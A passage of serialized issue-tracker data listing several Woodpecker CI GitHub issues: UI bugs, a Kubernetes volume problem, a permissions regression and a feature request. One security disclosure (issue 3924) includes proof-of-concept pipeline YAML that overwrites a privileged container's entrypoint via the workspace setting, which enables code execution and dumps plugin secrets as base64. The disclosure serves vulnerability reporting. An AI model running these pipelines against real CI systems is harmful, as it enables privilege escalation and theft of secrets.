\r\n\n\n### Steps to reproduce\n\n.\n\n### Expected behavior\n\n_No response_\n\n### System Info\n\n```shell\n\"next-d126cf9e35\"\n```\n\n\n### Additional context\n\n_No response_\n\n### Validations\n\n- [X] Read the [docs](https://woodpecker-ci.org/docs/intro).\n- [X] Check that there isn't [already an issue](https://github.com/woodpecker-ci/woodpecker/issues) that reports the same bug to avoid creating a duplicate.\n- [X] Checked that the bug isn't fixed in the `next` version already [https://woodpecker-ci.org/faq#which-version-of-woodpecker-should-i-use]",[2919,2922],{"name":2920,"color":2921},"bug","d73a4a",{"name":2923,"color":2924},"ui","46DEA2",4677,"`tag` pipelines are missing avatar and commit title","2025-01-12T06:19:42Z","https://github.com/woodpecker-ci/woodpecker/issues/4677",0.72694224,{"description":2931,"labels":2932,"number":2936,"owner":2909,"repository":2910,"state":2911,"title":2937,"updated_at":2938,"url":2939,"score":2940},"### Component\n\nagent\n\n### Describe the bug\n\nDue to the nature of the GKE Autopilot cluster and my budget limit I have to configure the storage as RWO. The problem is that several pods can potentially be created at different nodes. This causes the volume not to be released until the pod of the corresponding step is finished.\nIn case is a service pod that does not terminate until the end of the workflow it can have the volume forever and end up giving timeout.\nWould it be possible not to mount volume in the services?\n\n### Steps to reproduce\n\n1. Install Woodpecker CI server and kubernetes backend agents with the helm chart.\n2. Run a repo pipeline with parallel steps and a service.\n\n### Expected behavior\n\nI would like the workflow not to get stuck when a service attaches the volume. We could avoid this by making it optional to mount the volume on the service.\n\n### System Info\n\n```shell\nWoodpecker CI 3.0.1\nGKE Autopilot 1.30.8-gke\n```\n\n### Additional context\n\n_No response_\n\n### Validations\n\n- [x] Read the [docs](https://woodpecker-ci.org/docs/intro).\n- [x] Check that there isn't [already an issue](https://github.com/woodpecker-ci/woodpecker/issues) that reports the same bug to avoid creating a duplicate.\n- [x] Checked that the bug isn't fixed in the `next` version already [https://woodpecker-ci.org/faq#which-version-of-woodpecker-should-i-use]",[2933,2934],{"name":2920,"color":2921},{"name":2935,"color":2907},"backend/kubernetes",4795,"FailedAttachVolume with K8s backend in GKE Autopilot","2025-03-18T13:46:26Z","https://github.com/woodpecker-ci/woodpecker/issues/4795",0.731214,{"description":2942,"labels":2943,"number":2949,"owner":2909,"repository":2910,"state":2911,"title":2950,"updated_at":2951,"url":2952,"score":2953},"os: windows\r\nshell: cmd.exe",[2944,2945,2948],{"name":2920,"color":2921},{"name":2946,"color":2947},"agent","ECBCDF",{"name":2906,"color":2907},2911,"Cancle workflow on local backend make it as successfull","2024-12-08T12:10:58Z","https://github.com/woodpecker-ci/woodpecker/issues/2911",0.73987865,{"description":2955,"labels":2956,"number":2962,"owner":2909,"repository":2910,"state":2963,"title":2964,"updated_at":2965,"url":2966,"score":2967},"\r\n\r\nthe default url is `https://woodpecker-ci.org/docs/next/administration/backends/docker` and that should remain.\r\n\r\nbut if it is `local` or `kubernetes` it would be nice to show different urls towards `https://woodpecker-ci.org/docs/next/administration/backends/local` and `https://woodpecker-ci.org/docs/next/administration/backends/kubernetes`.",[2957,2958,2959],{"name":2923,"color":2924},{"name":2903,"color":2904},{"name":2960,"color":2961},"good first issue","76ea72",4137,"closed","WebUI: agent edit/detail view: change the **HELP** url based on the backend","2024-10-11T23:12:07Z","https://github.com/woodpecker-ci/woodpecker/issues/4137",0.6731938,{"description":2969,"labels":2970,"number":2973,"owner":2909,"repository":2910,"state":2963,"title":2974,"updated_at":2975,"url":2976,"score":2977},"### Component\n\nweb-ui\n\n### Describe the bug\n\nThe spaces in task output should be kept.\r\n\r\n\r\n\n\n### System Info\n\n```shell\n\"source\": \"https://github.com/woodpecker-ci/woodpecker\",\r\n\"version\": \"next-9feb6be9\"\n```\n\n\n### Additional context\n\n_No response_\n\n### Validations\n\n- [X] Read the [Contributing Guidelines](https://github.com/woodpecker-ci/woodpecker/blob/master/CONTRIBUTING.md).\n- [X] Read the [docs](https://woodpecker-ci.org/docs/intro).\n- [X] Check that there isn't [already an issue](https://github.com/woodpecker-ci/woodpecker/issues) that reports the same bug to avoid creating a duplicate.\n- [X] Check that this is a concrete bug. For Q&A join our [Discord Chat Server](https://discord.gg/fcMQqSMXJy).",[2971,2972],{"name":2920,"color":2921},{"name":2923,"color":2924},718,"The spaces in task output should be kept.","2022-06-16T17:24:27Z","https://github.com/woodpecker-ci/woodpecker/issues/718",0.7057691,{"description":2979,"labels":2980,"number":2988,"owner":2909,"repository":2910,"state":2963,"title":2989,"updated_at":2990,"url":2991,"score":2992},"### Component\r\n\r\nother\r\n\r\n### Describe the bug\r\n\r\nPlease take a look at this [issue on Codeberg](https://codeberg.org/Codeberg-CI/feedback/issues/136). I found out what causes this problem. See [this comment](https://codeberg.org/Codeberg-CI/feedback/issues/136#issuecomment-1318012) for details. #2126 added a Org for each user. But it looks like there was a mistake in the Migration, so the Users don't have access to their Org. `https://ci.codeberg.org/api/user `say my Org ID is 592, but `https://ci.codeberg.org/api/orgs/592 `gives me a 403.\r\n\r\n### System Info\r\n\r\n```shell\r\n{\r\n \"source\":\"https://github.com/woodpecker-ci/woodpecker\",\r\n \"version\":\"next-62e1081b24\"\r\n}\r\n```\r\n\r\n\r\n### Additional context\r\n\r\nI'm just a User and not the Admin of this instance, so I can't give you detailed technical information, but I want to share my findings.\r\n\r\n### Validations\r\n\r\n- [X] Read the [Contributing Guidelines](https://github.com/woodpecker-ci/woodpecker/blob/main/CONTRIBUTING.md).\r\n- [X] Read the [docs](https://woodpecker-ci.org/docs/intro).\r\n- [X] Check that there isn't [already an issue](https://github.com/woodpecker-ci/woodpecker/issues) that reports the same bug to avoid creating a duplicate.\r\n- [X] Checked that the bug isn't fixed in the `next` version already [https://woodpecker-ci.org/faq#which-version-of-woodpecker-should-i-use]\r\n- [X] Check that this is a concrete bug. For Q&A join our [Discord Chat Server](https://discord.gg/fcMQqSMXJy) or the [Matrix room](https://matrix.to/#/#woodpecker:matrix.org).",[2981,2982,2985],{"name":2920,"color":2921},{"name":2983,"color":2984},"forge/gitea","E96280",{"name":2986,"color":2987},"regression","7E192B",2714,"User don't have permission for own Org","2023-12-19T08:13:41Z","https://github.com/woodpecker-ci/woodpecker/issues/2714",0.7108526,{"description":2994,"labels":2995,"number":2999,"owner":2909,"repository":2910,"state":2963,"title":3000,"updated_at":3001,"url":3002,"score":3003},"# Getting privileged permissions using an escalated plugin by adjusting workspace\r\n\r\nDear Woodpecker Security Team,\r\n\r\nI am writing to inform you about the possibility of running arbitrary code in a privileged container using the default configuration.\r\nAs you know, the default configuration has multiple containers that run in privileged mode. These include the \"plugins/docker\" image. (I haven't looked at the other images, though I'm sure they are vulnerable to the same or similar exploits.)\r\nMy POC uses the workspace attribute with the base set to \"/use/local\". This way, I can place a file at \"/usr/local/bin/dockerd-entrypoint.sh\" in a step before the \"plugins/docker\" step to overwrite the commands executed in the privileged container.\r\n\r\n```\r\nworkspace:\r\n base: /usr/local/\r\n\r\nsteps:\r\n- name: prepare\r\n image: alpine\r\n commands:\r\n - mkdir -p /usr/local/bin/\r\n - cp fake-local/bin/dockerd-entrypoint.sh /usr/local/bin/dockerd-entrypoint.sh\r\n - cp ncat /usr/local/ncat\r\n - cp bash /usr/local/bash\r\n - chmod +x /usr/local/bin/dockerd-entrypoint.sh\r\n - chmod +x /usr/local/ncat\r\n - chmod +x /usr/local/bash\r\n- name: drone\r\n image: plugins/docker\r\n```\r\n\r\nThis is possible because the only things checked before allowing the setting of the container to privileged are that the \"Commands\" and \"Entrypoint\" attributes are unset using the \"IsPlugin\" function.\r\nThere are multiple other ways to gain code execution in the privileged container, such as setting environment variables like \"LD\\_PRELOAD\".\r\n\r\nI only tested this in the docker runner, but looking at the code, the same should be possible for the kubernetes runner.\r\n\r\nI'm not sure how to fix this correctly, as it is broken by design when allowing the building of docker images inside the CI.\r\n\r\nSimilar bugs exist in the Drone CI, so a scheduled disclosure with them makes sense.\r\n\r\nI am also informing you that I am the author of a CTF Challenge where people tried to find and exploit this bug. The event was a final to a qualification with a small number of participants. Two Teams solved the challenge by finding other bugs. I will tell them to report their found vulnerability as well.\r\n\r\nFeel free to follow up with any questions.\r\n\r\nBest,\r\nDaniel Kilimnik\r\n\r\nNeodyme AG\r\n\r\n---\r\n\r\n# Getting secrets value using manipulated entrypoint via adjusted workspace\r\n\r\n1. create a secret called `TOKEN` for the plugin `plugins/docker` only\r\n\r\n2. create this pipeline\r\n```yaml\r\nskip_clone: true\r\n\r\nworkspace:\r\n base: /usr/local/\r\n\r\nsteps:\r\n- name: prepare\r\n image: alpine\r\n commands:\r\n - mkdir -p /usr/local/bin/\r\n - 'echo \"#!/bin/sh\" > /usr/local/bin/dockerd-entrypoint.sh'\r\n - 'echo \"env\" >> /usr/local/bin/dockerd-entrypoint.sh'\r\n - 'echo \"echo -------\" >> /usr/local/bin/dockerd-entrypoint.sh'\r\n - 'echo \"env | base64\" >> /usr/local/bin/dockerd-entrypoint.sh'\r\n - chmod +x /usr/local/bin/dockerd-entrypoint.sh\r\n- name: drone\r\n image: plugins/docker\r\n settings:\r\n token:\r\n from_secret: TOKEN\r\n```\r\n\r\n3. decode the base64 and wolla successfully reused the exploid in a different area\r\n\r\n\r\n\r\n\r\n\r\n\r\n---\r\n\r\n\r\n GHSA-xw35-rrcp-g7xm",[2996],{"name":2997,"color":2998},"security","B60205",3924,"Getting \"privileged permissions\" / \"secrets value\" by using (... an escalated plugin and/) by adjusting workspace","2024-10-04T14:06:28Z","https://github.com/woodpecker-ci/woodpecker/issues/3924",0.7181512,{"description":3005,"labels":3006,"number":3011,"owner":2909,"repository":2910,"state":2963,"title":3012,"updated_at":3013,"url":3014,"score":3015},"### Clear and concise description of the problem\n\nWhen committing with a structured message (e.g. following Conventional Commits specification), Woodpecker cramps the whole message together into one large string when displaying it in the repo commit list and the pipeline run title. This is usually pretty ugly and decreases readability. \r\n\r\nExample:\r\n\r\n\n\n### Suggested solution\n\nA new environment variable CI_COMMIT_MESSAGE_HEADER could be added which would be used to populate the strings mentioned above. This would of course require parsing the commit message first.\n\n### Alternative\n\nAlternatively, a UI section for the body and footer of the commit message could be added below the pipeline run title to display those variables. \r\n\r\nAll of the steps described above would still be necessary, but in addition, at least CI_COMMIT_MESSAGE_BODY (if one wants to treat body and footer as one) would have to be parsed and added as well.\n\n### Additional context\n\n_No response_\n\n### Validations\n\n- [X] Read the [Contributing Guidelines](https://github.com/woodpecker-ci/woodpecker/blob/master/CONTRIBUTING.md).\n- [X] Read the [docs](https://woodpecker-ci.org/docs/intro).\n- [X] Check that there isn't already an [issue](https://github.com/woodpecker-ci/woodpecker/issues) that request the same feature to avoid creating a duplicate.",[3007,3008],{"name":2923,"color":2924},{"name":3009,"color":3010},"feature","180DBE",1489,"Beautify display of commit messages with bodies and/or footers","2023-08-20T16:52:56Z","https://github.com/woodpecker-ci/woodpecker/issues/1489",0.7234205,{"description":3017,"labels":3018,"number":3020,"owner":2909,"repository":2910,"state":2963,"title":3021,"updated_at":3022,"url":3023,"score":3024},"### Component\r\n\r\nother\r\n\r\n### Describe the bug\r\n\r\nI am testing version 2.6 in my development environment, so I updated an application code to use \r\n```- evaluate: CI_PIPELINE_DEPLOY_TASK == \"sre-dummy-rest-app\"```\r\ninstead of the 'task:' filter.\r\nIn my github hooks payload I get: \r\n\r\nBut the CI_PIPELINE_DEPLOY_TASK is empty and woodpecker is not running the steps that it should run.\r\n\r\n### Steps to reproduce\r\n\r\nUsing :\r\n``` \r\nwhen:\r\n - evaluate: CI_PIPELINE_DEPLOY_TASK == \"value\" \r\n```\r\n\r\nInstead of:\r\n`task: \"value\"`\r\n\r\n### Expected behavior\r\n\r\nRun with the variable as it should run with the filter in previous versions.\r\n\r\n### System Info\r\n\r\n```shell\r\n{\"source\":\"https://github.com/woodpecker-ci/woodpecker\",\"version\":\"2.6.0\"}\r\n```\r\n\r\n\r\n### Additional context\r\n\r\n_No response_\r\n\r\n### Validations\r\n\r\n- [X] Read the [docs](https://woodpecker-ci.org/docs/intro).\r\n- [X] Check that there isn't [already an issue](https://github.com/woodpecker-ci/woodpecker/issues) that reports the same bug to avoid creating a duplicate.\r\n- [X] Checked that the bug isn't fixed in the `next` version already [https://woodpecker-ci.org/faq#which-version-of-woodpecker-should-i-use]",[3019],{"name":2920,"color":2921},3872,"variable CI_PIPELINE_DEPLOY_TASK is empty in woodpecker","2024-07-07T11:43:08Z","https://github.com/woodpecker-ci/woodpecker/issues/3872",0.72742605,["Reactive",3026],{},["Set"],["ShallowReactive",3029],{"$fTRc1wZytZ_XrK4EfJfei_Sz-An4H4Yy6syhVxH_PVJc":-1,"$fldBUh-CyZnn1Lhe6RUpFl07tdx4dYuzhfQwWFi4rH4I":-1},"/woodpecker-ci/woodpecker/3892"]